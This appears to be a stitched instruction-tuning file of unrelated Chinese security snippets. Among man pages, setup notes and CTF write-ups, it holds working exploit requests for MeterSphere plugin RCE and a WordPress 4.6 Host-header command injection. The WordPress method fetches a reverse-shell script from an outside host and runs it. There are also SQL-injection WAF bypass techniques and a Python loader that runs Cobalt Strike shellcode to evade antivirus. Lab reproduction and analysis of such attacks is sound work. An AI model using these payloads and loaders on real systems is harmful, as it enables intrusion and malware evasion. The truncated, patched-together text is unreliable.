-r或——recursive：递归处理，将指定目录下的所有文件及子目录一并处理；
-S或<压缩字尾字符串>或----suffix<压缩字尾字符串>：更改压缩字尾字符串；
-t或——test：测试压缩文件是否正确无误；
-v或——verbose：显示指令执行过程；
-V或——version：显示版本信息；
-<压缩效率>：压缩效率是一个介于1~9的数值，预设值为“6”，指定愈大的数值，压缩效率就会愈高；
--best：此参数的效果和指定“-9”参数相同；
--fast：此参数的效果和指定“-1”参数相同。
-num 用指定的数字num调整压缩的速度，-1或--fast表示最快压缩方法（低压缩比），-9或--best表示最慢压缩方法（高压缩比）。系统缺省值为6。
-c或--stdout或--to-stdout：保留原始文件，生成标准输出流（结合重定向使用）。
```
### 参数
文件列表：指定要压缩的文件列表。
### 实例
把test6目录下的每个文件压缩成.gz文件
```shell
gzip *
```
把上例中每个压缩的文件解压，并列出详细的信息
```shell
gzip -dv *
```
详细显示例1中每个压缩的文件的信息，并不解压
```shell
gzip -l *
```
压缩一个tar备份文件，此时压缩文件的扩展名为.tar.gz
```shell
gzip -r log.tar
```
递归的压缩目录
```shell
gzip -rv test6
```
这样，所有test下面的文件都变成了*.gz，目录依然存在只是目录里面的文件相应变成了*.gz.这就是压缩，和打包不同。因为是对目录操作，所以需要加上-r选项，这样也可以对子目录进行递归了。
递归地解压目录
```shell
gzip -dr test6
```
保留原始文件，把压缩/解压流重定向到新文件
```shell
gzip -c aa > aa.gz
gzip -dc bb.gz > bb
```


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# MeterSphere 插件接口未授权访问及远程代码执行

MeterSphere是基于GPLv3协议的一站式的开源持续测试平台。在其1.16.3版本及以前，插件相关管理功能未授权访问，导致攻击者可以通过上传插件的方式在服务器中执行任意代码。

参考连接：

- <https://xz.aliyun.com/t/10772>

## 漏洞环境

执行如下命令启动一个MeterSphere 1.16.3服务器：

```
docker compose up -d
```

MeterSphere初始化成功后，访问`http://your-ip:8081`即可跳转到默认登录页面。

## 漏洞复现

首先，我们访问`http://your-ip:8081/plugin/list`可见成功返回插件信息（虽然此时插件为空），说明`/plugin/*`接口存在未授权访问问题，可以利用。

![](1.png)

利用漏洞前，需要准备一个恶意MeterSphere插件。Vulhub提供了一个已经编译好的[插件](https://github.com/vulhub/metersphere-plugin-Backdoor/releases/tag/v1.1.0)以供测试（**请勿在非授权环境下测试**）。

将恶意插件使用如下数据包上传：

```
POST /plugin/add HTTP/1.1
Host: localhost:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJV2KX1EL5qmKWXsd
Content-Length: 11985

------WebKitFormBoundaryJV2KX1EL5qmKWXsd
Content-Disposition: form-data; name="file"; filename="Evil.jar"

[Paste your jar file]
------WebKitFormBoundaryJV2KX1EL5qmKWXsd--
```

![](2.png)

> **如果使用Burpsuite来复现漏洞，你需要注意数据包编码问题，否则可能将无法复现。**

虽然这次上传会返回错误信息，但实际上恶意JAR包已经成功被添加进系统ClassLoader中。

发送如下数据包来执行`org.vulhub.Evil`类中的恶意代码：

```
POST /plugin/customMethod HTTP/1.1
Host: localhost:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 89

{
  "entry": "org.vulhub.Evil",
  "request": "id"
}
```

![](3.png)


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

原文 by [tsrc博客](https://security.tencent.com/index.php/blog/msg/65)
## 背景
对于腾讯的业务来说，有两个方面决定着WAF能否发挥效果，一个是合适处理海量流量的架构，另一个关键因素则是规则系统。架构决定着WAF能否承受住海量流量的挑战，这个在之前的篇章中简单介绍过（详情见[主流WAF架构分析与探索](http://security.tencent.com/index.php/blog/msg/56) 、[WAF应用层实现的架构漫谈](http://security.tencent.com/index.php/blog/msg/63)）。而规则系统则决定着WAF能否发挥完善的防护功能。
SQL注入是由于开发人员没有对用户的输入进行相关的过滤，而使用户的输入可以被带入到SQL语句中执行，所引发的一种高危漏洞。可能造成信息泄露，数据库数据泄露，入侵等重大影响的后果。腾讯WAF对此种类型漏洞的防护目标就是确保不造成上述重大影响。
本文介绍腾讯WAF如何针对SQL注入这种攻击进行防护。同时，最近TSRC与白帽子小伙伴们举办了一场SQL注入绕过挑战赛，发现了WAF规则系统一些不足之处，这里将详细介绍。
感谢各位参与的白帽子小伙伴的大力支持。
## 关键字防护
SQL注入最简单、粗暴但实用的方式就是检测一些关键字，通过把这些能造成影响的关键字加入黑名单，可以阻断大部分的利用代码。这类关键字主要包含几种：
1、 SQL语句的关键保留字，如select from，union select，drop table，into outfile等。
2、 MySQL等DBMS的内建函数，如version(),load_file()，sleep()，benchmark()等
3、 MySQL等DBMS内建变量，如@@version等。
4、 MySQL所识别的内联注释，如 `/*!union*/` `/*!select*/` 或 `/*!50000union*/`等
## 真假条件防护
上述的关键字方法能过滤掉很多的利用代码，但还不全。SQL注入技术中有一种是通过利用注入条件的真假的方式来获取相关信息的，例如CGI：  `http://host/SQLi.php?id=1`对应的SQL语句为 `select * from t_table where id=1`
`http://host/SQLi.php?id=1 or 1=1   => select* from t_table where id=1 or 1=1`
`http://host/SQLi.php?id=1 and 1=2  =>select *from t_table where id=1 and 1=2`
通过判断真假来获取MySQL的相关信息。对于这种方式如果通过简单的添加关键字会造成误报而影响业务的情况。这种情况下我们需要分析此类型的应用，例如：
op a = b
1、 op可以是and，or，<，>=，||，&&等
2、 分隔符可以是空格，/**/注释等
3、 a与b可以是数字，字符串，表名，函数，sql语句结果等等
通过穷举此类应用方式来阻断相关的利用
## 绕过防护
### URL编码
浏览器中输入URL是会由浏览器进行一次URL编码，而攻击可能会通过多次编码来对WAF进行绕过，例如：
`Id.php?id=1%2520union/**/select 解码后实际为Id.php?id=1 union/**/select`
如果只经过一次解码，则变成 `Id.php?id=1%20union/**/select`
可能绕过正则表达式的检测
通过循环多次URL解码解决此类问题
### 特殊字符
% 00（%和00之间没有空格，编辑需要）如果直接URL解码，结果是C语言中的NULL字符。如果WAF使用string等数据结构来存储用户的请求，则解码之后会截断字符串，造成后面的内容不经过检测。例如
`Id.php?id=1%20union/**/select`
解码后可能变成：
`Id.php?id=1[NULL]%20union/**/select`
后面的%20union/**/select就躲过了WAF的检查，从而绕过WAF。解决方式：
1、对% 00进行特殊处理
2、不要使用string等存储用户的请求内容
%a0是不换行空格，用于在字处理程序中标示禁止自动换行。使用正则表达式的\s无法匹配到这个字符，但在mysql中%a0与普通的空格一样，可以当成分隔符来使用。即对于Mysql来说，...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

.TH "INITDB" "1" "2003-11-02" "Application" "PostgreSQL Server Applications"
.SH NAME
initdb \- 创建一个新的 PostgreSQL数据库集群
.SH SYNOPSIS
.sp
\fBinitdb\fR\fR [ \fR\fB\fIoption\fB\fR...\fB \fR\fR]\fR \fR\fR \fB--pgdata \fR\fR | \fR\fB-D \fR\fIdirectory\fR\fR\fR
.SH "DESCRIPTION  描述"
.PP
\fBinitdb\fR 创建一个新的 PostgreSQL 数据库集群。 一个数据库集群是由单个服务器实例管理的数据库集合。
.PP
 创建数据库系统包括创建数据库数据的宿主目录， 生成共享的系统表（不属于任何特定数据库的表）和创建 template1  数据库。当你以后再创建一个新数据库时， template1 数据库里所有内容都会拷贝过来。 它包括填充了象内建类型这样的系统表。
.PP
\fBinitdb\fR 初始化该数据库集群的缺省区域和字符集编码。 有些区域范畴对该集群而言是全生命期固定的，因此在运行 initdb 的时候选取正确的是非常重要的。 其它区域范畴可以在服务器启动之后的时间里改变。 initdb 将把那些区域设置写到 postgresql.conf 配置文件，这样它们就是缺省的， 但是我们可以通过编辑那些文件来修改它们。 要设置 initdb 使用的区域，参阅 --locale 选项的描述。字符集编码可以在数据库创建的时候独立设置。 initdb 决定 template1 数据库的编码，而该编码将成为所有其它数据库的缺省。 要修改缺省编码，我们可以使用 \fB--encoding\fR 选项。
.PP
\fBinitdb\fR 必须以运行数据库服务器进程的用户身份运行它。 因为服务器需要能够访问 initdb  创建的文件和目录。 因为服务器不能以 root 身份运行，所以你也不能以 root 身份运行 initdb。（实际上它拒绝以 root 身份运行。）
.PP
 尽管initdb会尝试创建相应的数据目录， 但经常会发生它没有权限做这些事情的情况。因为所需要的目录的父目录通常是 root 所有的目录。 要为此安排做一个设置，用 root 创建一个空数据目录， 然后用 chown 把该目录的所有权交给数据库用户帐号， 然后 su 成数据库用户，最后以数据库用户身份运行 initdb。
.SH "OPTIONS 选项"
.PP
.TP
\fB-D \fIdirectory\fB\fR
.TP
\fB--pgdata=\fIdirectory\fB\fR
 这个选项声明数据库集群应该存放在哪个目录。 这是initdb需要的唯一信息，但是你可以通过设置 PGDATA 环境变量来避免键入， 这样做可能方便一些，因为稍后数据库服务器（postmaster）可以通过同一个变量找到数据库目录。
.TP
\fB-E \fIencoding\fB\fR
.TP
\fB--encoding=\fIencoding\fB\fR
 选择模板数据库的编码方式。这将是你以后创建的数据库的缺省编码方式， 除非你创建数据库时覆盖了它。 缺省是 SQL_ASCII。
.TP
\fB--locale=\fIlocale\fB\fR
 为数据库集群设置缺省的区域。如果没有声明这个选项，那么区域 是从 initdb 运行的环境中继承过来的。
.TP
\fB--lc-collate=\fIlocale\fB\fR
.TP
\fB--lc-ctype=\fIlocale\fB\fR
.TP
\fB--lc-messages=\fIlocale\fB\fR
.TP
\fB--lc-monetary=\fIlocale\fB\fR
.TP
\fB--lc-numeric=\fIlocale\fB\fR
.TP
\fB--lc-time=\fIlocale\fB\fR
 类似 --locale，但是只设置特殊范畴的区域。
.TP
\fB-U \fIusername\fB\fR
.TP
\fB--username=\fIusername\fB\fR
 选择数据库超级用户的用户名。 缺省是运行 initdb 的用户的有效用户。 超级用户的名字是什么并不重要， 但是我们可以选择习惯的名字 postgres，即使操作系统的用户名字不一样也无所谓。
.TP
\fB-W\fR
.TP
\fB--pwprompt\fR
 令 initdb 提示输入数据库超级用户的口令。 如果你不准备使用口令认证，这个东西并不重要...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Chinese Satellite (crypto 200)
## ENG
[PL](#pl-version)
This task was very strange.
The author clearily didn't understand quantum key exchange at all, and in this particular case knowing how this should work was making the task harder to solve...
In the task we get some intercepted quantum transfers [sat->ground](q_transmission_1), [ground->sat](q_transmission_2), [sat->ground](q_transmission_3) and a ciphertext in public channel:
`269118188444e7af980a245aedce5fb2811b560ccfc5db8e41f102a23f8d595ffde84cb1b3f7af8efd7a919bd2a7e6d3`
In general quantum key exchange is quite simple:
1. Alice sends set of random bits encoded in one of two bases (let's call them X and Y)
2. Bob receives the qbits and randomly selects which base to use to measure value (since he can't know which base Alice used for each of qbits). Statistically he will get about half of the bases right.
3. Bob sends to Alice information which bases he used for each of the qbits.
4. Alice compares the list from Bob with the bases she actually used and sends to Bob information which bases he got right.
In case Bob used the right base he knows the bit value Alice wanted to send.
Those agreed bits are then normally used as some symmetric key for the communication.
We have our 3 transmissions, and they are exactly what described above:
1. First one is the whole dump of initial qbits sent by Alice. We have two bases -> straight (`-` or `|`) and cross (`/` or `\`).
2. Second one is bases Bob used - straight `+` or cross `x`.
3. Last one is the list of bits Bob got right marked as `v`.
So we can simply read values sent by Alice in 1st transmission for which there is `v` in last tramissions and we will get the qbits that they got right. We don't really know if `\` is 0 or 1 and if `|` is 0 or 1, but this is simple enough, we can just test all 4 options.
```python
def get_agreed_bytes(data_sent, bases_measured, bases_correct, v1, v2):
    agreed_bits = []
    for i in range(len(bases_correct)):
        if bases_corr...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Wordpress 4.6 任意命令执行漏洞（PwnScriptum）

## 原理

参考 https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html

## 测试环境

编译及运行测试环境

```
docker compose build
docker compose up -d
```

由于Mysql初始化需要一段时间，所以请等待。成功运行后，访问`http://your-ip:8080/`打开站点，初始化管理员用户名和密码后即可使用（数据库等已经配置好，且不会自动更新）。

## 测试与EXP使用

发送如下数据包，可见`/tmp/success`已经成功创建：

```
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)
Connection: close
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Accept: */*
Content-Length: 56
Content-Type: application/x-www-form-urlencoded

wp-submit=Get+New+Password&redirect_to=&user_login=admin
```

但实际利用起来，还是有一些坑需要踏过。具体的坑有这么几个：

1. 执行的命令不能包含大量特殊字符，如`:`、引号等。
2. 命令会被转换成小写字母
3. 命令需要使用绝对路径
4. 需要知道某一个存在的用户的用户名

为了解决这些坑，漏洞作者想出了，利用`${substr{0}{1}{$spool_directory}}`代替`/`，用`${substr{10}{1}{$tod_log}}`代替空格的方法。

但是还是有很多字符不能用，所以我们需要将待执行的命令放到第三方网站中，然后通过`curl -o /tmp/rce example.com/shell.sh`的方法先将他下载到/tmp目录中，再去执行。

所以，总体来说利用过程如下：

- 编写反弹shell的exp，放到某个网页里。有如下要求：
  - 整个url的大写字母会被转换成小写，所以大写小敏感的系统不要使用大写字母做文件路径
  - 访问该网页不能跳转，因为follow跳转的参数是`-L`（大写）
- 拼接成命令`/usr/bin/curl -o/tmp/rce example.com/shell.sh`和命令`/bin/bash /tmp/rce`
- 将上述命令中的空格和`/`转换成`${substr{10}{1}{$tod_log}}`和`${substr{0}{1}{$spool_directory}}`
- 拼接成HTTP包的Host头：`target(any -froot@localhost -be ${run{command}} null)`
- 依次发送这两个拼接好的数据包

我将上述过程写成[exp脚本](exploit.py)，将脚本中target修改成你的目标，user修改成一个已经存在的用户，`shell_url`修改成你放置payload的网址。（或直接将target作为第一个参数、`shell_url`作为第二个参数）

执行即可获得shell：

![](1.png)


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

//
// This file was generated by the Retargetable Decompiler
// Website: https://retdec.com
// Copyright (c) 2017 Retargetable Decompiler <info@retdec.com>
//

#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syslog.h>
#include <time.h>

// ------------------------ Structures ------------------------

struct _IO_FILE {
    int32_t e0;
};

struct tm {
    int32_t e0;
    int32_t e1;
    int32_t e2;
    int32_t e3;
    int32_t e4;
    int32_t e5;
    int32_t e6;
    int32_t e7;
    int32_t e8;
    int32_t e9;
    char * e10;
};

// ------------------- Function Prototypes --------------------

int32_t get_flag(int32_t a1);
int32_t moon_phase(void);

// --------------------- Global Variables ---------------------

int32_t g2 = 0; // LR
bool g3 = false; // R4
int32_t g1 = 0; // 0x9d000

// ------------------------ Functions -------------------------

// Address range: 0x104d8 - 0x10583
int32_t get_flag(int32_t a1) {
    // 0x104d8
    g3 = true;
    struct _IO_FILE * file = fopen("/home/pwn150/flag.txt", "r"); // 0x10504
    int32_t * stream; // 0x10558_0
    if (file == NULL) {
        // 0x10544
        puts("Have a nice day!");
        stream = g3 ? (int32_t *)((int32_t)&g1 + 24) : (int32_t *)24;
        fflush((struct _IO_FILE *)*(int32_t *)*stream);
        exit(0);
        // UNREACHABLE
    }
    int32_t c = fgetc(file); // 0x105281
    if (c == -1) {
        // 0x1053c
        fclose(file);
        // branch -> 0x10544
        // 0x10544
        puts("Have a nice day!");
        stream = g3 ? (int32_t *)((int32_t)&g1 + 24) : (int32_t *)24;
        fflush((struct _IO_FILE *)*(int32_t *)*stream);
        exit(0);
        // UNREACHABLE
    }
    putchar(c);
    int32_t c2 = fgetc(file); // 0x10528
    while (c2 != -1) {
        // 0x1051c
        putchar(c2);
        c2 = fgetc(file);
        // continue -> 0x1051c
    }
    // 0x1053c
    fclose(file);
    // branch -> 0x10544
    // 0x10544
    puts...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 角色权限
---
## 用户帐户
在 Windows vista 或是 windows 7中，有两个级别的用户:标准用户和管理员.
- 标准用户是计算机 Users 组的成员;
- 管理员是计算机 Administrators 组的成员.
**Windows 内置用户账户**
权限：System >  Administrator > User > Guest
与windows组件关联的用户账户
- System (本地系统)：为 windows 的核心组件访问文件等资源提供权限
- Local Service (本地服务)：预设的拥有最小权限的本地账户
- Network Service (网络服务)：具有运行网络服务权限的计算机账户
---
## 组账户
组是一些用户的集合
组内的用户自动具备为组所设置的权限
administators 组内的用户，都具备系统管理员的权限，它们拥有对这台计算机最大的控制权限，可以执行整台计算机的管理任务。内置的系统管理员账号 Administrator 就是本地组的成员，而且无法将它从该组删除。如果这台计算机已加入域，则域的 Domain Admins 会自动地加入到该计算机的 Administrators 组内。也就是说，域上的系统管理员在这台计算机上也具备着系统管理员的权限。
Guests 组是提供给没有用户帐户但是需要访问本地计算机内资源的用户使用，该组的成员无法永久地改变其桌面的工作环境。该组最常见的默认成员为用户帐号 Guest。
Power Users 组内的用户具备比 Users 组更多的权利，但是比 Administrators 组拥有的权利更少一些，例如，可以：创建、删除、更改本地用户帐户；创建、删除、管理本地计算机内的共享文件夹与共享打印机；自定义系统设置，例如更改计算机时间、关闭计算机等。但是不可以更改 Administrators，无法夺取文件的所有权、无法备份与还原文件、无法安装删除与删除设备驱动程序、无法管理安全与审核日志。
Users 组内的成员只拥有一些基本的权利，例如运行应用程序，但是他们不能修改操作系统的设置、不能更改其它用户的数据、不能关闭服务器级的计算机。所有添加的本地用户帐户者自动属于 Users 组。如果这台计算机已经加入域，则域的 Domain Users 会自动地被加入到该计算机的 Users 组中。
Remote Desktop Users 组内的成员拥有远程桌面登录的权限。默认 Administrators 组内的成员都拥有远程桌面的权限。
---
## Windows Access Token
Windows Token 其实叫 Access Token(访问令牌)，它是一个描述进程或者线程安全上下文的一个对象。不同的用户登录计算机后， 都会生成一个 Access Token，这个 Token 在用户创建进程或者线程时会被使用，不断的拷贝，这也就解释了 A 用户创建一个进程而该 进程没有 B 用户的权限。
Access Token 种类：
- 主令牌
- 模拟令牌
一般情况下，用户双击运行一个程序，都会拷贝 “explorer.exe” 的 Access Token。
当用户注销后，系统将会使主令牌切换为模拟令牌，不会将令牌清除，只有在重启机器后才会清除。
**Windows Access Token 组成**
- 用户帐户的安全标识符(SID)
- 用户所属的组的 SID
- 用于标识当前登录会话的登录 SID
- 用户或用户组所拥有的权限列表
- 所有者 SID
- 主要组的 SID
- 访问控制列表
- 访问令牌的来源
- 令牌是主要令牌还是模拟令牌
- 限制 SID 的可选列表
- 目前的模拟等级
- 其他统计数据
**SID 安全标识符**
安全标识符是一个唯一的字符串，它可以代表一个账户、一个用户 组、或者是一次登录。通常它还有一个 SID 固定列表，例如  Everyone 这种已经内置的账户，默认拥有固定的 SID。
SID 的表现形式:
- 域 SID-用户 ID
- 计算机 SID-用户 ID
- SID 列表都会存储在域控的 AD 或者计算机本地账户数据库中。
查看用户的SID
```
whoami /user     # 查看系统当前用户的SID
wmic useraccount get name,sid      # 查看所有用户的SID
```
**Windows Access Token 产生过程**
每个进程创建时都会根据登录会话权限由 LSA(Local Security Authority)分配一个 Token(如果 CreaetProcess 时自己指定了 Token, LSA 会用该 Token...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 免杀实验
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
## 加载器
**加载器 + base64**
cs 生成 Python shellcode x64
base64 加密 shellcode
```py
# coding=utf-8
import base64
shellcode = open('payload.py')
shellcode = shellcode.read()
s1=shellcode.find("\"")+1
s2=shellcode.rfind("\"")
shellcode= shellcode[s1:s2]
base64_shellcode = base64.b64encode(shellcode.encode('UTF-8'))
with open('base64.txt', 'wb') as shell:
    shell.write(base64_shellcode)
print(base64_shellcode)
```
添加到加载器,加载器的大致原理就是申请一块内存，将代码字节存入该内存，然后开始运行该内存储存的程序，并让该程序一直运行下去。
```py
import base64
import codecs
import ctypes
shellcode = ""
shellcode = base64.b64decode(shellcode)
shellcode = codecs.escape_decode(shellcode)[0]
shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr),
    buf,
    ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode放置位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.c_uint64(ptr),
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(
    ctypes.c_int(handle),
    ctypes.c_int(-1)
)
```
- ctypes 库
    python 的 ctypes 模块是内建，用来调用系统动态链接库函数的模块
    使用 ctypes 库可以很方便地调用 C 语言的动态链接库，并可以向其传递参数。
    ```py
    import ctypes
    ```
- 读取shellcode
    将 shellcode 生成后，使用 base64 编码，后面操作是将代码写入内存，所以需要将代码解码并转为字节类型
    ```py
    shellcode = ""
    shellcode = base64.b64decode(shellcode)
    shellcode = codecs.escape_decode(shellcode)[0]
    shellcode = bytearray(shellcode)
    ```
- 设置返回类型
    我们需要用 VirtualAlloc 函数来申请内存，返回类型必须和系统位数相同
    想在 64 位系统上运行，必须使用 restype 函数设置 VirtualAlloc 返回类型为 ctypes.c_unit64，否则默认的...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# miniforge
- https://github.com/conda-forge/miniforge
---
**安装 miniforge**
```bash
wget https://github.com/conda-forge/miniforge/releases/latest/download/Miniforge3-MacOSX-arm64.sh
mv Miniforge3-MacOSX-arm64.sh ~/
cd
bash Miniforge3-MacOSX-arm64.sh
```
```bash
source .zshrc
conda --version     # 测试一下conda是否安装完成
```
**创建一个 Conda 虚拟环境**
```bash
# 用Python 3.9创建一个名为 f0x 的虚拟环境
conda create -n f0x python=3.9
# 查看所有环境
conda info --envs
# 激活虚拟环境
conda activate f0x
# 安装库
conda install jupyter
```
**配置镜像源**
```bash
conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/
conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main/
conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/pytorch/
conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/conda-forge/
conda config --set show_channel_urls yes
conda update --all
```


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

from django.db import models
from django.contrib.postgres.fields import JSONField

class Collection(models.Model):
    name = models.CharField(max_length=128)
    detail = JSONField()

    def __str__(self):
        return self.name


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Mac-Plan
---
## 快捷键
- 锁屏 : Control + Command + Q
- 截图 : Shift + Command + 5
- 刷新 : Command + R
- 行首 : Command + 左键
- 行末 : Command + 右键
- 输入Emoji 表情和颜文字 : Control + Command + space
---
## 启动项
```bash
ls /Library/LaunchAgents
```
---
## 代理
```bash
# 请根据自己的代理软件进行调整!!!!
export https_proxy=http://127.0.0.1:7890;export http_proxy=http://127.0.0.1:7890;export all_proxy=socks5://127.0.0.1:7890
```
---
## 权限
由于 macOS 默认情况下只允许运行可信任签名的应用，如果 macOS 阻止运行该软件，请打开 macOS 终端，在新建的终端 Shell 中输入：
```bash
sudo spctl --master-disable
```
由于调用了sudo权限，你可能需要输入密码，会输出如下提示：
```
Password:
```
此时你需要输入密码，在 Shell 中输入的密码是不可见的，输入完毕后请按回车键。
---
针对 "已损坏" 的解决办法
苹果系统有一个 GateKeeper 保护机制。
从互联网上下载来的文件，会被自动打上 com.apple.quarantine 标志，我们可以理解为 "免疫隔离"。
系统根据这个附加属性对这个文件作出限制。
随着版本不同，MacOS 对 com.apple.quarantine 的限制越来越严格，在较新 的 MacOS 中，会直接提示 "映像损坏" 或 "应用损坏" 这类很激进的策略。
我们可以通过手动移除该选项来解决此问题。
```
sudo xattr -r -d com.apple.quarantine /Applications/xxxxxxxx.app
```
---
解锁文件夹
```
chflags -R nouchg *
```
---
## 优化
**减少程序坞的响应时间**
```bash
# 设置启动坞动画时间设置为 0.5 秒
defaults write com.apple.dock autohide-time-modifier -float 0.5 && killall Dock
# 设置启动坞响应时间最短
defaults write com.apple.dock autohide-delay -int 0 && killall Dock
# 恢复启动坞默认动画时间
defaults delete com.apple.dock autohide-time-modifier && killall Dock
# 恢复默认启动坞响应时间
defaults delete com.apple.Dock autohide-delay && killall Dock
```
**左右光标移动速度**
系统偏好设置 -> 键盘 -> 键盘
- 按键重复：对应的是移动速度；
- 重复前延迟：对应的是移动前的反应时间。
**mac 下 sudo 用 touchid 代替密码输入**
```
sudo vim /etc/pam.d/sudo
在第二行添加
auth sufficient pam_tid.so
```
保存的时候可能要用 `:wq!`
来自文章: https://sixcolors.com/post/2020/11/quick-tip-enable-touch-id-for-sudo/
---
## 软件
**Rosetta 2**
```
softwareupdate --install-rosetta
```
**chrome**
- https://www.google.com/chrome/
**clash**
- https://github.com/Fndroid/clash_for_windows_pkg/releases
**homebrew**
- https://brew.sh/index_zh-cn
- https://gitee.com/cunkai/HomebrewCN
```bash
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
echo 'eval "$(/opt/homebrew/bin/b...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

from library import *
from collections import defaultdict

if len(sys.argv) > 2:
    n = int(sys.argv[2])
else:
    n = None

i, o, t = load_npz(sys.argv[1])

t = t[:, 275000:305000]
normalize(t)
align_fft(t, 1000)
t = t[:, :-1000]

if 1:
    t_parts = np.zeros((len(t) * 16, 2000))
    for j, tra in enumerate(t):
        off = 3500
        for k in range(16):
            t_parts[j * 16 + k] = tra[off:off+2000]
            off += 1350
            if k % 4 == 3:
                off += 340

    align_fft(t_parts, 100)
    t = t_parts

if 1:
    t = t[:, 100:1600]
    normalize(t)
    align_fft(t, 200)

    if 0:
        t = t[:, 4500:6500]
        normalize(t)
        align_fft(t, 100)

t_avg = np.zeros((len(t) / 16, 1500))
for j in range(len(t_avg)):
    t_avg[j] = np.mean(t[j*16:j*16+16], axis=0)

t = t_avg

d = defaultdict(list)
for j, inp in enumerate(i):
    inp = "".join(chr(c) for c in inp)
    d[inp].append(j)

tlist = []
for indices in d.values():
    tlist.append(indices)

t1 = t[tlist[0][:12]]
t2 = t[tlist[1][:12]]

show_red_green(t1, t2)


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 蓝队概览
## 蓝队构成
参考《解密彩虹团队非凡实战能力：企业安全体系建设》，范渊。
-   威胁猎人
    -   主要负责高级威胁研究和分析，以及对尚未成功检测到的对手及其行为进行威胁狩猎
-   威胁分析师
    -   主要负责NIDS、HIDS和SIEM等安全检测、安全事件管理系统的规则开发，以及告警分析、网络流量分析、漏洞评估、风险评估
-   威胁情报分析师
    -   主要负责追踪和分析外部已知/未知的威胁行为者的活动。进行深网、暗网监控，开源情报收集（OSINT）、挖掘，并且最后分类总结成TTP、IOCs提供给其他团队进行利用、深层分析
    -   注：威胁行为者，Threat Actor，指影响某一实体的安全、所保障事件的个人或实体，即各种组织和执行恶意行为的个人和团体
-   病毒分析师
    -   主要负责对安全事件中的恶意软件进行动态和静态分析，分析其功能、威胁行为及目标，提取IOCs及TTPs
<img src="https://image-host-toky.oss-cn-shanghai.aliyuncs.com/image-20210312092543235.png" alt="image-20210312092543235" style="zoom:33%;" />
图：蓝队构成


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Warmup (RE, 397p, 63 solved)
It's a classic reversing challenge.
We get a [binary](warmup), ELF x64, statically compiled.
In the strings we can see something resembling a permutated flag:
```asm
00000000004a171b         db  0x4f ; 'O'                                         ; DATA XREF=sub_4009d8+12
00000000004a171c         db  0x00 ; '.'
00000000004a171d         db  0x5f ; '_'                                         ; DATA XREF=sub_4009d8+36, sub_4009d8+276, sub_4009d8+300, sub_4009d8+396, sub_4009d8+564
00000000004a171e         db  0x00 ; '.'
00000000004a171f         db  0x75 ; 'u'                                         ; DATA XREF=sub_4009d8+60, sub_4009d8+588
00000000004a1720         db  0x00 ; '.'
00000000004a1721         db  0x74 ; 't'                                         ; DATA XREF=sub_4009d8+84, sub_4009d8+372
00000000004a1722         db  0x00 ; '.'
00000000004a1723         db  0x31 ; '1'                                         ; DATA XREF=sub_4009d8+108, sub_4009d8+228
00000000004a1724         db  0x00 ; '.'
00000000004a1725         db  0x7b ; '{'                                         ; DATA XREF=sub_4009d8+132
00000000004a1726         db  0x00 ; '.'
00000000004a1727         db  0x6a ; 'j'                                         ; DATA XREF=sub_4009d8+156
00000000004a1728         db  0x00 ; '.'
00000000004a1729         db  0x73 ; 's'                                         ; DATA XREF=sub_4009d8+180, sub_4009d8+252
00000000004a172a         db  0x00 ; '.'
